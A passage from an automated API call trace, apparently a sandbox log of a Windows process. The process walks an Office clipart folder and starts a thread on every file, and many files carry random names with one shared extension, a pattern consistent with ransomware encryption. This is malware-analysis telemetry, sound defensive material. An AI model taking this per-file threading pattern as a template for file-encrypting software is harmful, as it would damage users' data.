Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.466] wcscat (in: _Dest=0x1b85c9f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.466] wcscat (in: _Dest=0x1b85c9f0, _Source="BS01636_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" [0120.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f0 [0120.467] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910b6b00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x910b6b00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1 [0120.467] wcscmp (_String1="BS01637_.WMF", _String2=".") returned 1 [0120.467] wcscmp (_String1="BS01637_.WMF", _String2="..") returned 1 [0120.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85d2f0 [0120.467] wcscpy (in: _Dest=0x1b85d2f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.467] wcscat (in: _Dest=0x1b85d2f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.467] wcscat (in: _Dest=0x1b85d2f0, _Source="BS01637_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" [0120.467] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11ec [0120.487] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd16ae900, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd16ae900, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1 [0120.487] wcscmp (_String1="BS01638_.WMF", _String2=".") returned 1 [0120.487] wcscmp (_String1="BS01638_.WMF", _String2="..") returned 1 [0120.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85ccc0 [0120.487] wcscpy (in: _Dest=0x1b85ccc0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.487] wcscat (in: _Dest=0x1b85ccc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.487] wcscat (in: _Dest=0x1b85ccc0, _Source="BS01638_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" [0120.487] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ccc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1544 [0120.487] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c32800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c32800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1 [0120.487] wcscmp (_String1="BS01639_.WMF", _String2=".") returned 1 [0120.488] wcscmp (_String1="BS01639_.WMF", _String2="..") returned 1 [0120.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85cb10 [0120.488] wcscpy (in: _Dest=0x1b85cb10, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.488] wcscat (in: _Dest=0x1b85cb10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.488] wcscat (in: _Dest=0x1b85cb10, _Source="BS01639_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" [0120.488] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85cb10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11ac [0120.488] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfc41400, ftCreationTime.dwHighDateTime=0x1bd4c15, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfc41400, ftLastWriteTime.dwHighDateTime=0x1bd4c15, nFileSizeHigh=0x0, nFileSizeLow=0x1de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="c0a7ec20eac.2f9b60", cAlternateFileName="C0A7EC~1.2F9")) returned 1 [0120.488] wcscmp (_String1="c0a7ec20eac.2f9b60", _String2=".") returned 1 [0120.488] wcscmp (_String1="c0a7ec20eac.2f9b60", _String2="..") returned 1 [0120.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205d370 [0120.488] wcscpy (in: _Dest=0x4205d370, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.488] wcscat (in: _Dest=0x4205d370, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.488] wcscat (in: _Dest=0x4205d370, _Source="c0a7ec20eac.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0a7ec20eac.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0a7ec20eac.2f9b60" [0120.489] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a8 [0120.489] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbc86, dwReserved0=0x0, dwReserved1=0x0, cFileName="c0ac7e21ae07.2f9b60", cAlternateFileName="C0AC7E~1.2F9")) returned 1 [0120.489] wcscmp (_String1="c0ac7e21ae07.2f9b60", _String2=".") returned 1 [0120.489] wcscmp (_String1="c0ac7e21ae07.2f9b60", _String2="..") returned 1 [0120.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205d2d0 [0120.489] wcscpy (in: _Dest=0x4205d2d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.489] wcscat (in: _Dest=0x4205d2d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.489] wcscat (in: _Dest=0x4205d2d0, _Source="c0ac7e21ae07.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0ac7e21ae07.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0ac7e21ae07.2f9b60" [0120.490] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d2d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a4 [0120.490] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="c0b989440e43.2f9b60", cAlternateFileName="C0B989~1.2F9")) returned 1 [0120.490] wcscmp (_String1="c0b989440e43.2f9b60", _String2=".") returned 1 [0120.490] wcscmp (_String1="c0b989440e43.2f9b60", _String2="..") returned 1 [0120.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205d550 [0120.490] wcscpy (in: _Dest=0x4205d550, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.490] wcscat (in: _Dest=0x4205d550, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.491] wcscat (in: _Dest=0x4205d550, _Source="c0b989440e43.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0b989440e43.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0b989440e43.2f9b60" [0120.491] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x119c [0120.491] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xac6, dwReserved0=0x0, dwReserved1=0x0, cFileName="c1a466af081e.2f9b60", cAlternateFileName="C1A466~1.2F9")) returned 1 [0120.491] wcscmp (_String1="c1a466af081e.2f9b60", _String2=".") returned 1 [0120.491] wcscmp (_String1="c1a466af081e.2f9b60", _String2="..") returned 1 [0120.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205d5f0 [0120.492] wcscpy (in: _Dest=0x4205d5f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.492] wcscat (in: _Dest=0x4205d5f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.492] wcscat (in: _Dest=0x4205d5f0, _Source="c1a466af081e.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c1a466af081e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c1a466af081e.2f9b60" [0120.492] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d5f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1198 [0120.493] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef57700, ftCreationTime.dwHighDateTime=0x1bd4f8b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ef57700, ftLastWriteTime.dwHighDateTime=0x1bd4f8b, nFileSizeHigh=0x0, nFileSizeLow=0x32a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="c2701a5831b1.2f9b60", cAlternateFileName="C2701A~1.2F9")) returned 1 [0120.493] wcscmp (_String1="c2701a5831b1.2f9b60", _String2=".") returned 1 [0120.493] wcscmp (_String1="c2701a5831b1.2f9b60", _String2="..") returned 1 [0120.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205d690 [0120.493] wcscpy (in: _Dest=0x4205d690, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.493] wcscat (in: _Dest=0x4205d690, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.493] wcscat (in: _Dest=0x4205d690, _Source="c2701a5831b1.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2701a5831b1.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2701a5831b1.2f9b60" [0120.493] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1194 [0120.494] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01fb00, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed01fb00, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x234e, dwReserved0=0x0, dwReserved1=0x0, cFileName="c2c09d4a02a0.2f9b60", cAlternateFileName="C2C09D~1.2F9")) returned 1 [0120.494] wcscmp (_String1="c2c09d4a02a0.2f9b60", _String2=".") returned 1 [0120.494] wcscmp (_String1="c2c09d4a02a0.2f9b60", _String2="..") returned 1 [0120.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205c970 [0120.495] wcscpy (in: _Dest=0x4205c970, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.495] wcscat (in: _Dest=0x4205c970, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.495] wcscat (in: _Dest=0x4205c970, _Source="c2c09d4a02a0.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2c09d4a02a0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2c09d4a02a0.2f9b60" [0120.495] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1190 [0120.496] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a54300, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a54300, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1ea9, dwReserved0=0x0, dwReserved1=0x0, cFileName="c7b6d7bea814.2f9b60", cAlternateFileName="C7B6D7~1.2F9")) returned 1 [0120.496] wcscmp (_String1="c7b6d7bea814.2f9b60", _String2=".") returned 1 [0120.496] wcscmp (_String1="c7b6d7bea814.2f9b60", _String2="..") returned 1 [0120.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205d0f0 [0120.496] wcscpy (in: _Dest=0x4205d0f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.496] wcscat (in: _Dest=0x4205d0f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.496] wcscat (in: _Dest=0x4205d0f0, _Source="c7b6d7bea814.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c7b6d7bea814.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c7b6d7bea814.2f9b60" [0120.496] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d0f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118c [0120.497] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cf00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d1cf00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2e7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="c959b774a2bc.2f9b60", cAlternateFileName="C959B7~1.2F9")) returned 1 [0120.497] wcscmp (_String1="c959b774a2bc.2f9b60", _String2=".") returned 1 [0120.497] wcscmp (_String1="c959b774a2bc.2f9b60", _String2="..") returned 1 [0120.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205cdd0 [0120.497] wcscpy (in: _Dest=0x4205cdd0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.497] wcscat (in: _Dest=0x4205cdd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.497] wcscat (in: _Dest=0x4205cdd0, _Source="c959b774a2bc.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c959b774a2bc.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c959b774a2bc.2f9b60" [0120.497] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205cdd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1188 [0120.498] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1 [0120.498] wcscmp (_String1="CARBN_01.MID", _String2=".") returned 1 [0120.498] wcscmp (_String1="CARBN_01.MID", _String2="..") returned 1 [0120.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85d380 [0120.498] wcscpy (in: _Dest=0x1b85d380, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.498] wcscat (in: _Dest=0x1b85d380, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.498] wcscat (in: _Dest=0x1b85d380, _Source="CARBN_01.MID" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" [0120.498] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1180 [0120.499] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1efe, dwReserved0=0x0, dwReserved1=0x0, cFileName="cc933e45010c.2f9b60", cAlternateFileName="CC933E~1.2F9")) returned 1 [0120.499] wcscmp (_String1="cc933e45010c.2f9b60", _String2=".") returned 1 [0120.499] wcscmp (_String1="cc933e45010c.2f9b60", _String2="..") returned 1 [0120.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205cd30 [0120.499] wcscpy (in: _Dest=0x4205cd30, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.499] wcscat (in: _Dest=0x4205cd30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.500] wcscat (in: _Dest=0x4205cd30, _Source="cc933e45010c.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cc933e45010c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cc933e45010c.2f9b60" [0120.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205cd30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x117c [0120.501] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37a5800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe37a5800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1e7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="cec6b8cbd9a1.2f9b60", cAlternateFileName="CEC6B8~1.2F9")) returned 1 [0120.501] wcscmp (_String1="cec6b8cbd9a1.2f9b60", _String2=".") returned 1 [0120.501] wcscmp (_String1="cec6b8cbd9a1.2f9b60", _String2="..") returned 1 [0120.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205cc90 [0120.501] wcscpy (in: _Dest=0x4205cc90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.501] wcscat (in: _Dest=0x4205cc90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.501] wcscat (in: _Dest=0x4205cc90, _Source="cec6b8cbd9a1.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cec6b8cbd9a1.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cec6b8cbd9a1.2f9b60" [0120.501] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205cc90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1178 [0120.502] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceceee00, ftCreationTime.dwHighDateTime=0x1c9b81d, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xceceee00, ftLastWriteTime.dwHighDateTime=0x1c9b81d, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1 [0120.502] wcscmp (_String1="CG1606.WMF", _String2=".") returned 1 [0120.502] wcscmp (_String1="CG1606.WMF", _String2="..") returned 1 [0120.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85cde0 [0120.502] wcscpy (in: _Dest=0x1b85cde0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program 